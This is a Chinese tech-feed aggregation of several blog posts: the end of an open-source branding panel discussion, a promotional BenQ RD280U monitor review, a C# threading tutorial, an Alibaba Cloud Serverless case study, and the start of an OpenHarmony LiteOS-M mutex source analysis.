双品牌是不是一个伪命题,对OceanBase 当前情况来说,我们还没有答案所以还要再探索一段时间,样本案例更多了以后再决策。

蒋烁淼:这确实是一个很大的问题。再补充一下观测云为什么要做这个事情。

在考虑品牌推广时,不仅希望吸引中国人士,还希望引入海外人才,以全面重塑品牌形象,使其更加符合海外市场的需求。这可能是我们考虑较多的一个方面。当然,将中国因素相对弱化,推动品牌全球化,也是我们的战略之一,因为我们原有的品牌带有较浓的中国色彩。

我们发现,像数字化企业、互联网企业这样的客户,对这个问题可能不太在意。然而,对于银行、政府等海外客户,尤其是西方国家的本地客户,他们可能会更加重视这个问题。我也有所耳闻,有些国家会对软件供应链进行审查。我想知道,小瑞,你们是否遇到过这样的情况?

王小瑞我们其实也遇到了和杨冰所说的这种情况我们AutoMQ诞生第一天起,就是一个开源产品

我们也遇到了一些大型客户,明确说中国公司是不考虑的但是呢,绝大部分的客户因为我们是中国公司而拒绝我们。没选择的客户是因为产品没有满足他的诉求但是说 AutoMQ 是不是一定不会改一个海外品牌名呢?其实现在也没做定论因为我观察到说 TiDB 是没有改的,但是 Doris 在海外做了一个新品牌

我观察下来,这些公司都在给客户传达一个信息——公司董事会或者管理层是欧美人组成管理机构我觉得他们也是在尝试触达那些明确不选择中国软件的这类公司

但是我不确定这类客户的占比会有多少我们正处于海外市场拓展的早期,有大把的客户可以挖掘,还没有遇到瓶颈。这也是我们现在没办法对是否要有海外新品牌这个事情决策重要原因。

蒋烁淼天舟,海外公司是怎么看你们的?他们知道你们是一个中国团队吗?还是他们甚至都不关心这一点

天舟海外客户对我们是一家中国公司是没有什么感知的因为Bytebase“ Day 1 就是面向全球的产品,尽管我们的团队主要都是中国员工。

至于要不要换品牌,我有一个比较直接答案:强烈不建议更换,或者说不建议用两个品牌。

核心原因是什么呢?

之前讨论,我们国产软件跟全球优秀软件有什么差距这个话题,没有提到一个点就是我们在品牌建设上的能力,其实是比较薄弱的。再去建立一个新品牌的话,其实是把我们的不足放大了。做好一个品牌已经是不容易那我们还要分散精力,做第二个品牌,更加不容易了。

我相信在场几家,包括对于亚马逊云科技来说,也是深受这方面困扰有非常的品牌开销。

除非在一开始在公司的组织架构上或者说在顶层设计上面出现了没有办法绕过原因否则不应该使用单独的品牌

实际上,这个品牌包含两个不同的概念:一是你公司的品牌,二是你产品的品牌。这就好比我们都知道“饿了么”品牌,背后的公司名字其实是“拉扎斯网络公司”。再比如,非常流行的游戏“我的世界”(Minecraft),它背后的公司叫做“Mojang Studios”,这个名字听起来像是来自某个国家的语言。

所以,我想强调的是,关于品牌,我强烈建议不要更换,特别是你的产品品牌。我会坚决主张保持原有的品牌名称。


 

【开源漫谈】

OSCHINA 视频号直播畅聊栏目【开源漫谈】,每期一个技术话题,三五位专家围坐,各抒己见,畅聊开源。给大家带来最新的行业前沿、最热门的技术话题、最有趣的开源项目、最犀利的思想交锋。如果你手上也有新点子、好项目,想要跟同行交流分享,欢迎联系我们,讲坛随时开放~

by 原创 at January 17, 2025 10:48 AM

juejin freebie

提升我编程效率的秘密武器——明基RD280U专业编程显示器

前言

作为程序员的我们每天都在与代码、数据和各种开发工具打交道。屏幕,是我们通向代码世界的窗口,也是工作中最亲密的伙伴之一。

对于我们编程工作,往往伴随着对实现产品需求的极致追求和对效率的持续压榨。在这样的工作节奏下,为了提升我的开发效率,我采取过以下这些方法:

  1. 采用番茄工作法时间管理方式,每工作25分钟后休息5分钟,经过四个“番茄”后进行一次较长的休息。这样的节奏在工作上确实有助于我维持精力充沛,防止我过度疲劳;
  2. 手机开启飞行模式,或者将手机关机放在一旁,减少外界干扰,避免工作中的分心;
  3. 每天早上设定具体可达成的任务目标,并将他们分解成更小的步骤,直至下班前,逐一完成。 在这里插入图片描述

即使这些方法提升了我的开发效率,但是基于能省即省的性格,在硬件设施方面,我遇到了不少痛点:

屏幕太小,代码行显示不全,频繁滚动页面让我分心;为了追求更高的刷新率忽略了色彩准确性,影响自己的界面观看体验;白天太阳刺眼,眩光,影响代码开发速度;亮度与对比度调节不当,导致眼睛干涩、疲劳,视力下降。

在这里插入图片描述

这些问题,无一不在无形中拖慢了我的开发进度,不仅降低了我对自身工作的满意度,更在无形中侵蚀着我的身体健康。在无数个深夜与代码的“亲密接触”中,我逐渐意识到,一台适合自己的显示器,不仅是提升工作效率的利器,更是保护身心健康的重要伙伴

在这里插入图片描述

羁绊与信赖:明基RD280U

当我正为挑选显示器而犹豫不决时,机缘巧合之下,一款标榜全球首款专为编程人士设计的专业显示器映入了我的眼帘,它出自知名品牌明基。回想起高中时期,班里使用的投影仪也正是这个牌子,这让我对明基多了几分亲切与信赖。结合其国产背景与大品牌的影响力,明基RD280U这款显示器深深地吸引了我。于是咬咬牙“放了放血”,送了自己一个新年礼物!

开箱初体验&外观设计

拿到快件的那一刻,我首先被其巨大的外包装箱震惊住了。整个箱子尺寸为78cm * 52cm * 28cm,还是敦实的。

在这里插入图片描述

打开包装的那一刻,我感受到了品牌对品质和用户体验的重视,一共有两层,包装内包括有显示器主体,一个精致的底座、一个可调节人体工学支架以及所有必要的连接线材——电源线、Type-B 线、Type-C 线和 HDMI 线,配件还是非常齐全的。

在这里插入图片描述

显示屏安装起来比较简单,RD280U显示器的机身采用低调的深灰色设计,并带有一条条横条纹,整体给人一种高级感。由于机身厚度较厚,它不像一些超薄显示器那样纤薄,因此对第三方屏幕挂灯的兼容度会比较低。不过,使用明基自家的灯完全没有问题。

RD280U的支架支持多角度调节,包括旋转、升降等,能够适应不同工作姿势,保护我们的脊椎健康。同时,显示器下沿的功能栏设计也非常便捷,通过触摸按键可以快速切换模式(这个后面体验)。

在这里插入图片描述

RD280U的接口设计非常全面,分为两部分,分别位于机身的背面和底面。背面接口主要用于连接电脑,包括1个HDMI 2.0接口、1个DP 1.4接口、支持高分辨率和高刷新率的视频信号传输;1个全功能USB-C接口(支持90W PD反冲)、1个下行USB-C接口(串联用)和1个USB-B接口。底面接口主要用于外接设备,包括1个3.5mm耳机接口和3个USB-A接口,方便我们连接各种外部设备,比如打印机、硬盘驱动器或者其他外设。

除此之外,这款显示器还支持KVM(Keyboard Video Mouse)切换功能,允许我们开发人员通过一套键盘和鼠标无缝切换两台主机的操作,无需频繁插拔外设或者为每台机器配备单独的显示器。

在这里插入图片描述

这些接口足以应对我们日常绝大部分的使用场景,并且底座支架背面还有一个皮质束线带,可以让连接线走线更加优雅美观,桌面显得不会那么乱。

在这里插入图片描述

深度体验与进阶玩法

使用明基RD280U这款显示器已经有一段时间了,在这段时间里,我体会到了这款显示器在日常使用中的卓越表现与独特魅力。接下来,我将详细谈一谈这款显示器在使用方面的体验,以及它所蕴含的丰富玩法和独特功能,让大家更加全面地了解这款显示器。

比例&分辨率关键参数

首先,对我来讲明基RD280U 的独特之处在于——3:2 的屏幕比例。相较于传统的 16:9 比例,3:2 提供了更多的垂直空间,这对于我在平时写代码而言意义非凡。额外增加的行数意味着可以在同一屏幕上显示更多的代码行,减少滚动频率,保持我的思路连贯性。而且,这款显示器拥有高达3840x2560 的 4K 分辨率,每一个字符、每一行代码都清晰可见,无论是长时间阅读文档还是编写复杂的代码逻辑,与我而言都能享受到极致舒适的视觉体验。打游戏也蛮舒服的hhh。下面是我的旧显示屏与RD280U 对比,这款显示屏显示的代码量大概比常规显示屏多8-10行代码左右

在这里插入图片描述

量身定制编程模式

除了高分辨率带来的细腻画质,明基RD280U显示器还特别为我们编程工作者量身打造了适配编码场景的色彩模式。编程模式还是挺贴心的,提供深色与亮色两种主题选项,我们可以根据个人偏好以及当前编程环境的光线状况进行灵活调整。

深色模式适合在夜间或者暗光环境下使用,能够减少眼睛的压力和疲劳感;亮色模式适合在白天或明亮环境下使用,这里对普通显示屏和RD280U深色模式做一个对比。通过下图对比普通模式与深色模式,不难发现,深色模式下的代码显示效果更加出众。深色模式下的代码看起来更清晰容易辨别,在色彩方面更符合我们大多数程序员的审美,开发效率也会有所提升!

在这里插入图片描述

抗眩光&护眼功能

在强光环境下,普通显示器可能会因为光线反射而产生明显的眩光,干扰我们的视线。而明基RD280U显示器具有出色的抗眩光功能,即使在强光照射下也能使我们保持良好的视觉体验,减少眩光对代码观看的干扰,提升我们写代码时的专注度。

这一功能是怎么做到的呢?明基RD280U 的屏幕表面采用了抗反射涂层处理,散射和吸收外部光源反射到屏幕上的光线。与高光泽屏幕相比,这种处理可以有效减少来自窗户、台灯或者其他环境光源的反光,避免眩光对观看体验的影响。

正好我的工位是朝阳的位置,这里给大家测试对比一下,明基RD280U这款显示器表现0炫光,代码更加清晰:

在这里插入图片描述 相较于普通显示屏在屏幕表面容易产生明显太阳折射光线问题,明基RD280U显示器在防眩光方面表现非常不错!

个性化MoonHalo智慧光环

对于我们程序员来说,沉浸在编程工作中是非常重要的。比其它显示器更为优势的是,明基RD280U显示器提供了智慧光环功能。MoonHalo智慧光环位于显示器的背面,我们可以根据个人偏好调节色温、亮度和灯光模式。当然,对于不同的工作环境,我们可以根据自己的视觉舒适度来控制照明效果,以达到最佳的显示效果和舒适度。

除了MoonHalo功能以外,明基RD280U还有

开启MoonHalo智慧光环后,我们的代码看着也舒服很多,一般在晚上敲代码时,我喜欢开暖色调的灯光模式。

在这里插入图片描述

贴心伴侣--猫头鹰模式

明基RD280U显示器的猫头鹰模式是专为我们程序员夜间编程场景设计的一种特殊显示模式,在过去,我在夜间编程时常常感到屏幕光线刺眼,容易导致眼睛疲劳,但自从使用了猫头鹰模式后,我发现视觉环境真的特别柔和舒适深夜编码夜间防护相当到位

猫头鹰模式为什么会有如此效果呢的呢?

  1. 猫头鹰模式将亮度调整到极低水平,通常低于普通显示模式的最小亮度设置,这可以避免因过亮屏幕导致我们的眼睛疲劳;
  2. 同时,猫头鹰模式提高对比度来确保内容的清晰度和锐利度,即使在昏暗环境下,我们的文本和图像也能保持良好的可读性,特别适合编写代码和查看文档;
  3. 猫头鹰模式自动调整色温,偏向温暖的黄色调,使我们的屏幕看起来更加柔和,并帮助我们维持正常的昼夜节律,减少蓝光对睡眠的影响;它还通过减少蓝光成分并增加红色和绿色的比例,在不影响颜色准确性的前提下保护我们的夜视能力,让我们在离开屏幕后仍能清楚地看到周围环境。

猫头鹰模式一共有十个等级,1~10级,等级越高亮度越低,我们可以根据自身周边的环境,来调节亮度等级

在这里插入图片描述

在开启猫头鹰模式后,我们的屏幕下方还会有一个猫头鹰看着你写代码,这么可爱谁能顶得住啊家人们!

在这里插入图片描述

个性化专属调控

明基 RD280U 显示器底部告别了传统的物理按键,采用了一种更为现代和高效的设计——在显示器底部的“小下巴”区域,设有一套专为编程打造的触键。这些触键还融入了LED指示灯,让我们的操作状态一目了然。我们现在点击中间的编程触键,会提示我们现在开启了猫头鹰等状态,同时还会切换不同的编程模式。

在这里插入图片描述

这个编程触键我经常使用,确实挺轻松便捷的,编程专属屏仪式感拉满!

配套软件--学习助理

Display Pilot 2是明基针对高端显示器系列推出的一款专业软件,我们可以直接在电脑端使用这个软件控制显示器的各项参数,比如亮度、色温、对比度等,无需再通过显示器的按钮进行操作了。

在这里插入图片描述

这个软件除了能够控制我们上面演示的所有功能外,它还有一些其它的特点,such as:

昼夜模式切换:Display Pilot 2软件具有昼夜模式切换功能,能够根据日出日落时间智能调控低蓝光水平,让光线始终柔和,减轻我们长时间看屏的眼部疲劳。

在这里插入图片描述

桌面分区管理:Display Pilot 2提供了桌面分区功能,这对于多任务处理的开发者来说非常实用。通过划分不同的工作区域,我们可以更加高效地管理编程任务和其他应用程序,我一般喜欢使用左右分区的这种。

在这里插入图片描述

快捷键设置:我们还可以在Display Pilot 2中设置键盘快捷方式,快速切换显示器模式和功能。就像我们在IDEA中写代码一样,提高我们的工作效率。

在这里插入图片描述 Flow功能:这个功能也挺实用的,我一直在用。这个功能允许我们自定义多个显示设置计划,我们可以为每个计划设置特定的时间段,Flow功能会根据这些时间段自动切换显示器的设置。比如,我们可以设置白天使用一种色彩模式,晚上切换到另一种更舒适的护眼模式。 在这里插入图片描述

专业护眼-呵护健康

明基 RD280U 显示器凝聚了品牌在护眼领域十余年的深耕细作,致力于为用户提供最舒适的视觉体验。我深度了解了这款显示器后发现它不仅通过了严格的 TÜV 莱茵认证,涵盖 Eyesafe 2.0、Eye Comfort、无频闪、硬件级滤蓝光和抗反射五项标准,还拥有一项国家发明专利——智慧调光专利,确保我们每一眼都安全、舒适。

在这里插入图片描述

使用感受分享

明基 RD280U 显示器凭借其出色的 4K 分辨率、智能护眼功能和个性化设置,显著提升了我的工作舒适度与效率。无论是编程、设计还是多任务处理等方面它都表现出色,成为我日常工作和娱乐中不可或缺的得力伙伴。这样优秀的显示屏,屏幕前的朋友,不来一起体验一下么?

71FB5B12AF374A2E16881483D408766D.jpg

by 小威要向诸佬学习呀 at January 17, 2025 10:22 AM

juejin backend

并发编程 - 线程浅试

前面已经对线程有了初步认识,下面我们来尝试使用线程。

0.png

01、线程创建

在C#中创建线程主要是通过Thread构造函数实现,下面讲解3种常见的创建方式。

1、通过ThreadStart创建

Thread有一个带有ThreadStart类型参数的构造函数,其中参数ThreadStart是一个无参无返回值委托,因此我们可以创建一个无参无返回值方法传入Thread构造函数中,代码如下:

public class ThreadSample
{
    public static void CreateThread()
    {
        Console.WriteLine($"主线程Id:{Thread.CurrentThread.ManagedThreadId}");
        var thread = new Thread(BusinessProcess);
        thread.Start();
    }
    //线程1
    public static void BusinessProcess()
    {
        Console.WriteLine($"BusinessProcess 线程Id:{Thread.CurrentThread.ManagedThreadId}");
        Console.WriteLine("开始处理业务……");
        //业务实现
        Console.WriteLine("结束处理业务……");
    }
}

代码也相当简单,我们在主线程中通过Thread创建了一个新的线程用来运行BusinessProcess方法,同时通过Thread.CurrentThread.ManagedThreadId打印出当前线程Id。

代码执行结果如下,主线程Id和业务线程Id并不相同。

2.png

2、通过ParameterizedThreadStart带参创建

Thread还有一个带有ParameterizedThreadStart类型参数的构造函数,其中参数ParameterizedThreadStart是一个有参无返回值委托,其中参数为object类型,因此我们可以创建一个有参无返回值方法传入Thread构造函数中,然后通过Thread.Start方法把参数传递给线程,代码如下:

public static void CreateThreadParameterized()
{
    Console.WriteLine($"主线程Id:{Thread.CurrentThread.ManagedThreadId}");
    var thread = new Thread(BusinessProcessParameterized);
    //传入参数
    thread.Start("Hello World!");
}
//带参业务线程
public static void BusinessProcessParameterized(object? param)
{
    Console.WriteLine($"BusinessProcess 线程Id:{Thread.CurrentThread.ManagedThreadId}");
    Console.WriteLine($"参数 param 为:{param}");
    Console.WriteLine("开始处理业务……");
    //业务实现
    Console.WriteLine("结束处理业务……");
}

我们看看代码执行结果:

4.png

该方式有个限制,因为ParameterizedThreadStart委托参数为object类型,因此我们的业务方法也必须要用object类型接收参数,然后再根据实际类型进行转换。

3、通过Lambda表达式创建

通过上面可以知道无论ThreadStart还是ParameterizedThreadStart本质上都是一个委托,因此我们可以直接使用Lambda表达式直接构建一个委托。可以看看以下代码:

public static void CreateThreadLambda()
{
    Console.WriteLine($"主线程Id:{Thread.CurrentThread.ManagedThreadId}");
    var thread = new Thread(() =>
    {
        Console.WriteLine($"业务线程Id:{Thread.CurrentThread.ManagedThreadId}");
        Console.WriteLine("开始处理业务……");
        //业务实现
        Console.WriteLine("结束处理业务……");
    });
    //传入参数
    thread.Start();
}

代码执行结果如下:

6.png

因为Lambda表达式可以直接访问外部作用域中的变量,因此线程传参还可以使用Lambda表达式来实现。

但是这也导致了一些问题,比如下面代码执行结果应该是什么?先自己想想看。

public static void CreateThreadLambdaParameterized()
{
    Console.WriteLine($"主线程Id:{Thread.CurrentThread.ManagedThreadId}");
    var param = "Hello";
    var thread1 = new Thread(() => BusinessProcessParameterized(param));
    thread1.Start();
    param = "World";
    var thread2 = new Thread(() => BusinessProcessParameterized(param));
    thread2.Start();
}
//带参业务线程
public static void BusinessProcessParameterized(string param)
{
    Console.WriteLine($"业务线程Id:{Thread.CurrentThread.ManagedThreadId}");
    Console.WriteLine($"参数 param 为:{param}");
}

看看执行结果:

8.png

和你想想的结果一样吗?

这是因为当在Lambda 表达式中使用任何外部局部变量时,编译器会自动生成一个类,并将该变量作为该类的一个属性。因此这些外部变量并不是存储在栈中,而是通过引用存储在堆中,因此此时param参数实际上在内存中是一个类是一个引用类型,所以两个线程中使用的param都指向了堆中的同一个值。

并且使用Lambda表达式引用另一个C#对象的方式有个专有名词叫闭包。感兴趣的可以去了解下闭包概念。

02、线程休眠

可以通过Sleep方法暂停当前线程,使其处于休眠状态,以尽可能少的占用CPU时间。看如下示例代码,通过在Sleep方法前后打印出当前时间对比,来观察暂停线程效果。

public static void ThreadSleep()
{
    Console.WriteLine($"主线程Id:{Thread.CurrentThread.ManagedThreadId}");
    var thread = new Thread(() =>
    {
        Console.WriteLine($"业务线程Id:{Thread.CurrentThread.ManagedThreadId}");
        Console.WriteLine($"暂停线程前:{DateTime.Now:HH:mm:ss}");
        //暂停线程10秒
        Thread.Sleep(10000);
        Console.WriteLine($"暂停线程后:{DateTime.Now:HH:mm:ss}");
    });
    thread.Start();
    thread.Join();
}

代码执行结果如下:

10.png

可以发现暂停线程前后正好差了10秒钟。

03、线程等待

线程等待指让程序等待另一个需要长时间计算的线程运行完成后,再继续后面操作。而使用Thread.Sleep方法并不能满足需求,因为当前并不知道执行计算到底需要多少时间,因此可以使用Thread.Join。如上一小节中代码,当代码执行到Thread.Join方法时,则线程会处于阻塞状态,只有线程执行完成后才会继续往下执行。具体示例可以看上一小节。

04、线程其他方法

此外线程还有暂停、恢复、中断、终止等线程方法,这里就不介绍了,因为一些方法已经弃用没有必要再花经历学习了。

05、异常处理

对于线程中的异常需要特别注意,对于一个Thread子线程所产生的异常,默认情况下主线程并不能捕捉到,可以查看下面示例:

public static void ThreadException()
{
    Console.WriteLine($"主线程Id:{Thread.CurrentThread.ManagedThreadId}");
    try
    {
        var thread = new Thread(ThreadThrowException);
        thread.Start();
    }
    catch (Exception ex)
    {
        Console.WriteLine("子线程异常信息:" + ex.Message);
    }
}
//业务线程不处理异常,直接抛出
public static void ThreadThrowException()
{
    Console.WriteLine($"业务线程Id:{Thread.CurrentThread.ManagedThreadId}");
    Console.WriteLine("开始处理业务……");
    //业务实现
    Console.WriteLine("结束处理业务……");
    throw new Exception("异常");
}

运行结果如下:

12.png

可以看到在主线程中并没有捕捉到子线程抛出的异常,而导致程序直接中断。因此我们在处理线程异常时需要特别注意,可以直接在线程中处理异常。

06、何时应该使用线程

线程有很多优点,但也并不是万能的,因为每一个线程都会产生大量的资源消耗,包括:占用大量内存空间,线程的创建、销毁和管理,线程之间的上下文切换,以及垃圾回收的消耗。

举个简单例子,比如一个小餐馆,有一个厨师,一个下单员,客户下单给下单员,下单员把客户下的菜单传递给厨师。假如现在客户很多一个下单员忙不过来,老板决定再添加一个下单员,此时下单的效率可以提升一倍,但是厨师还是一个,那么就会导致当厨师和A下单员交接的时候,B下单员只能等着,并且因为之前厨师和A下单员长时间合作形成了彼此默契,这是再和B下单员交接的时候效率可能并不高,因此最终整体效率并不一定提升多少。如果把厨师比作CPU处理器,下单员比作线程,如果要想餐馆的整体效率提升那么在增加下单员的时候,必须要相应的添加厨师,才能使得餐馆最大效率的提升。

因此并不是说无脑的添加线程就可以使得程序效率提升,需要按需使用。

比如在以下使用场景可以考虑使用多线程:文件多写、网络请求、数据库查询、图像处理、数据分析、定时任务等。

:测试方法代码以及示例源码都已经上传至代码库,有兴趣的可以看看。gitee.com/hugogoos/Pl…

by IT规划师 at January 17, 2025 10:00 AM

juejin article

阿里云 Serverless 助力盟主直播:高并发下的稳定性和成本优化

在直播场景中,阿里云 Serverless 应用引擎 SAE 提供的无缝弹性伸缩与极速部署能力,确保直播间高并发时的流畅体验,降低了我们的运营成本,简化了运维流程。结合阿里云云原生数据库 PolarDB 的 Serverless 能力,实现了数据库资源按需自动扩展,在优化成本的同时极大增强了业务灵活性和响应速度。

——盟主直播研发 VP 张湃

盟主直播介绍

盟主直播是为用户打造传播、支付、结算和数据分析闭环的全新移动互联网平台,专注于企业级直播并搭建运营企业直播营销平台,以互动视频直播的方式帮助广大企业、自媒体和个人创业者放大自身的影响力,积累自己的受众粉丝,并通过一站式的交易提高企业的营销速度和效率。盟主直播深入 100 多个细分行业,既为约 400 家世界 500 强/中国 500 强企业提供服务,也为更多企业客户提供了超过 100 万场次的直播服务,获得了客户广泛的高度评价和赞誉。

图片

业务挑战

盟主直播业务发展快速,原有基于 ECS 自建模式的直播平台架构逐渐暴露出难以适应当前业务快速发展,主要包括:系统稳定性、资源利用效率不高、运维复杂等问题。这些问题不仅影响了用户体验和业务连续性,也增加了运营成本和技术管理难度。

平台稳定性不足

  • 流量波动性和高峰压力: 直播业务特性决定了其流量存在显著的日间波动和活动高峰,特别是在大型直播活动和流量高峰期间,系统需要能够迅速响应突发流量,这要求核心数据库系统和应用系统具备极致的弹性伸缩能力。
  • 临时扩容的局限性: 在面对突发流量或大型直播活动时,传统的临时或提前扩容计算资源的方法不仅耗时,而且难以保证系统的 SLA,因此很难在直播高峰期间提供稳定的服务,增加了用户流失的风险。

容量规划难,资源利用率低

  • 难以预测的流量洪峰: 大型直播项目和线上线下营销活动带来的流量洪峰难以准确预测,导致后端资源的规划变得复杂且具有不确定性。
  • 低效的资源保有策略: 为了确保在流量高峰时有足够的计算资源,盟主直播采取了长期固定持有 ECS 服务器的策略,整体服务器资源全天平均资源利用率低于 20%,大部分时间段计算资源处于闲置状态,造成了成本浪费。

运维复杂度高

  • 配置一致性维护: 直播业务的快速增长使得 ECS 集群规模越来越大,配置差异导致负载不均和性能问题,影响整体服务质量。
  • 资源管理和性能监控: 需要全面监控评估当前资源水位,并根据不断变化的业务负载灵活调整资源分配,避免过度配置和资源争夺,增加了资源管理的复杂性。
  • 灾难恢复的重要性: 随着业务的增长,及时发现并处理系统故障是保持业务连续性的关键,确保系统完整性和可用性,防止数据丢失和服务中断。

阿里云 Serverless 云原生解决方案

面对业务平台遇到的挑战,盟主直播经过深入的市场调研,并与阿里云技术团队进行了多轮技术交流和 POC 测试,最终选择了阿里云的 Serverless 应用引擎 SAE 和云原生数据库 PolarDB,该解决方案不仅解决了直播平台在稳定性、性能方面的挑战,还极大地提升了直播平台架构的健壮性,同时也显著减少了运维资源的投入,能够更加专注到业务创新和发展。

计算资源 Serverless 化

高效运维特性:

  • 免运维托管:SAE(即:Serverless 应用引擎)为盟主直播提供了一站式的容器化应用全托管解决方案,用户无需关注底层硬件配置与维护,只需专注于应用逻辑的开发。SAE 自动处理计算资源的分配和优化,大大减轻了运维负担。
  • 发布管理:支持应用程序解耦发布和前后端灰度发布,简化应用更新流程,避免逐个应用修改带来的配置不一致问题。
  • 资源配置灵活性:资源配置可以随时修改并即时生效,统一的 CU 计费抵扣逻辑降低了机器规格更换的复杂性和资损风险。

弹性伸缩和成本优化:

  • 动态扩缩容:SAE 根据实时请求数量动态调整实例数量,确保在直播流量高峰时提供充足的计算资源,而在低谷期缩减资源以实现成本最优化。
  • 定时弹性与指标弹性结合:通过设定基于时间或流量指标的弹性伸缩规则,既能处理周期性流量变化,也能根据实际流量进一步优化资源配置,即使无人值守也能高效支持业务需求。

智能告警和高可用:

  • 监控与报警:集成微服务引擎(MSE)、日志服务(SLS)和 SAE 自身的监控能力,提供全面的基础监控功能,包括 Metrics、Tracing 和 Logging,能够支持对日志的集中采集和监控,内置智能告警机制捕捉异常事务和慢事务,实时日志分析提高了问题定位效率。
  • 高可用部署:通过简单设置即可实现多 AZ(Availability Zone)容灾部署,支持副本自动重启和恢复,在系统发生故障时自动切换至健康节点,增强了系统的容错能力和恢复速度。

图片

业务 Serverless 架构图

数据库 Serverless 化

秒级扩缩容:

阿里云 PolarDB 数据库服务采用存算分离的技术架构,对解决盟主直播平台业务晚高峰流量突增的痛点有了更好的解决方案,即:通过 PolarDB Serverless 秒级扩容 CPU 能力,实现高效、轻松的应对,而且不需要提前预留计算资源,总体上实现了增效降本。

图片

PolarDB Serverless

自动化运维:

数据库计算资源调整从每天晚上流量高峰来临前人工扩容、增加只读节点等转变为 Serverless 全自动模式,降低了 70% 的运维工作量,集群变配时长从 8 分钟缩短至 4 秒。

业务价值

通过阿里云的 Serverless 产品和技术,盟主直播实现了核心直播平台的云原生架构升级,不仅解决了盟主直播现有业务面临的挑战,还面向未来为盟主直播的平台扩展性提供了技术基础,有效提升了行业竞争力,具体包括:

  • 提升业务稳定性和流畅度: 通过 SAE 和 PolarDB 提供的 Serverless 技术确保了在面对流量高峰时,依然能够保持直播平台的高性能和稳定性,实现了用户体验的大幅提升。
  • 显著降低成本: SAE 和 PolarDB 的按需扩缩容特性,帮助盟主直播将整体资源利用率提升了近 50%,成本节约超过 60%。
  • 提高工作效率: SAE 的全托管、免运维特性简化了资源预估和应用部署的流程和投入,运维团队的工作压力大幅减轻,整体工作效率提升了 40%。
  • 增强业务连续性: PolarDB 支持主备切换过程中在途事务不中断,确保直播业务的连续性,即使在极端情况下也能为用户提供不间断的服务体验。

by 阿里云云原生 at January 17, 2025 09:41 AM

juejin backend

鸿蒙轻内核M核源码分析系列九 互斥锁Mutex

多任务环境下会存在多个任务访问同一公共资源的场景,而有些公共资源是非共享的临界资源,只能被独占使用。鸿蒙轻内核使用互斥锁来避免这种冲突,互斥锁是一种特殊的二值性信号量,用于实现对临界资源的独占式处理。另外,互斥锁可以解决信号量存在的优先级翻转问题。用互斥锁处理临界资源的同步访问时,如果有任务访问该资源,则互斥锁为加锁状态。此时其他任务如果想访问这个临界资源则会被阻塞,直到互斥锁被持有该锁的任务释放后,其他任务才能重新访问该公共资源,此时互斥锁再次上锁,如此确保同一时刻只有一个任务正在访问这个临界资源,保证了临界资源操作的完整性。

本文我们来一起学习下鸿蒙轻内核互斥锁模块的源代码,本文中所涉及的源码,以OpenHarmony LiteOS-M内核为例,均可以在开源站点 gitee.com/openharmony… 获取。


接下来,我们看下互斥锁的结构体,互斥锁初始化,互斥锁常用操作的源代码。

1、互斥锁结构体定义和常用宏定义

1.1 互斥锁结构体定义

在文件kernel\include\los_mux.h定义的互斥锁控制块结构体LosMuxCB,源代码如下,结构体成员的解释见注释部分。

typedef struct {
    UINT8 muxStat;       /**< 互斥锁状态:OS_MUX_UNUSED, OS_MUX_USED */
    UINT16 muxCount;     /**< 锁被持有的次数 */
    UINT32 muxID;        /**< 互斥锁Id */
    LOS_DL_LIST muxList; /**< 互斥锁双向链表 */
    LosTaskCB *owner;    /**< 当前持有锁的任务 */
    UINT16 priority;     /**< 当前持有锁的任务的优先级,为避免优先级翻转,可能会更改任务的优先级,此时有备份的作用 */
} LosMuxCB;

1.2 互斥锁常用宏定义

系统支持创建多少互斥锁是根据开发板情况使用宏LOSCFG_BASE_IPC_MUX_LIMIT定义的,互斥锁muxIdUINT32类型的,muxId取值为[0,LOSCFG_BASE_IPC_MUX_LIMIT),表示互斥锁池中各个的互斥锁的编号。

⑴处、⑵处的宏表示互斥锁的未使用、使用状态值。⑶处从互斥锁池中获取指定互斥锁muxid对应的互斥锁控制块。⑷处根据互斥锁双向链表中的链表节点指针ptr获取互斥锁控制块结构体指针。

#define OS_MUX_UNUSED 0#define OS_MUX_USED   1#define GET_MUX(muxid) (((LosMuxCB *)g_allMux) + (muxid))#define GET_MUX_LIST(ptr) LOS_DL_LIST_ENTRY(ptr, LosMuxCB, muxList)

2、互斥锁初始化

互斥锁在内核中默认开启,用户可以通过宏LOSCFG_BASE_IPC_MUX进行关闭。开启互斥锁的情况下,在系统启动时,在kernel\src\los_init.c中调用OsMuxInit()进行互斥锁模块初始化。 下面,我们分析下互斥锁初始化的代码。

⑴初始化双向循环链表g_unusedMuxList,维护未使用的互斥锁。⑵处如果没有设置宏LOSCFG_BASE_IPC_MUX,则返回错误码。⑶为互斥锁申请内存,如果申请失败,则返回错误LOS_ERRNO_MUX_NO_MEMORY ⑷循环每一个互斥锁进行初始化,为每一个互斥锁节点指定索引muxIDmuxStat为未使用OS_MUX_UNUSED,并把互斥锁节点插入未使用互斥锁双向链表g_unusedMuxList。 ⑷如果开启了互斥锁调测开关,则调用函数UINT32 OsMuxDbgInit(VOID)进行初始化。

LITE_OS_SEC_TEXT_INIT UINT32 OsMuxInit(VOID)
{
    LosMuxCB *muxNode = NULL;
    UINT32 index;

⑴  LOS_ListInit(&g_unusedMuxList);

⑵  if (LOSCFG_BASE_IPC_MUX_LIMIT == 0) {
        return LOS_ERRNO_MUX_MAXNUM_ZERO;
    }

⑶  g_allMux = (LosMuxCB *)LOS_MemAlloc(m_aucSysMem0, (LOSCFG_BASE_IPC_MUX_LIMIT * sizeof(LosMuxCB)));
    if (g_allMux == NULL) {
        return LOS_ERRNO_MUX_NO_MEMORY;
    }

⑷  for (index = 0; index < LOSCFG_BASE_IPC_MUX_LIMIT; index++) {
        muxNode = ((LosMuxCB *)g_allMux) + index;
        muxNode->muxID = index;
        muxNode->muxStat = OS_MUX_UNUSED;
        LOS_ListTailInsert(&g_unusedMuxList, &muxNode->muxList);
    }
    return LOS_OK;
}

3、互斥锁常用操作

3.1 互斥锁创建

我们可以使用函数UINT32 LOS_MuxCreate(UINT32 *muxHandle)来创建互斥锁,下面通过分析源码看看如何创建互斥锁的。

⑴判断未使用互斥锁链表g_unusedMuxList是否为空,如果没有可以使用的互斥锁,跳转到错误码。⑵处如果g_unusedMuxList不为空,则获取第一个可用的互斥锁节点,接着从双向链表g_unusedMuxList中删除,然后调用GET_MUX_LIST宏函数获取LosMuxCB *muxCreated,接着初始化创建的互斥锁信息,包含持有锁的次数、状态、优先级等信息。⑶初始化双向链表&muxCreated->muxList,阻塞在这个互斥锁上的任务会挂在这个链表上。⑷赋值给输出参数*muxHandle,后续程序使用这个互斥锁Id对互斥锁进行其他操作。

